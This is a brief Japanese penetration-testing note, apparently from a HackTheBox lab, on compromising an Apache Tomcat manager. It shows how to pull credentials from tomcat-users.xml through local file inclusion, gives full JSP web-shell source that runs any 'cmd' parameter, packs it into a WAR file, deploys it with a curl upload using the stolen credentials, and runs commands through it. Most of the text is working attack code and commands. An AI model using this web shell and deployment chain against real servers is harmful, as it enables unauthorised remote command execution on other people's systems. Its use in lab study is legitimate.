tomcat
Tomcatマネージャーアプリケーションの発見
tcp/8080でオープンしていることが多い
資格情報の取得
LFIなどを利用して”tomcat-users.xml”を探す。ファイルパスは一例
/usr/share/tomcat9/etc/tomcat-users.xml
(SNIP...)
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
(SNIP...)
web shellによるRCE
Create file. [index.jsp]
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s+"</br>";
}
} catch(IOException e) { e.printStackTrace();}
}
%>
<pre><%=output %></pre>
warの生成
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *
webshell.war is created
Upload
curl --upload-file webshell.war -u 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/webshell"
RCE
http://megahosting.htb:8080/webshell/index.jsp?cmd=id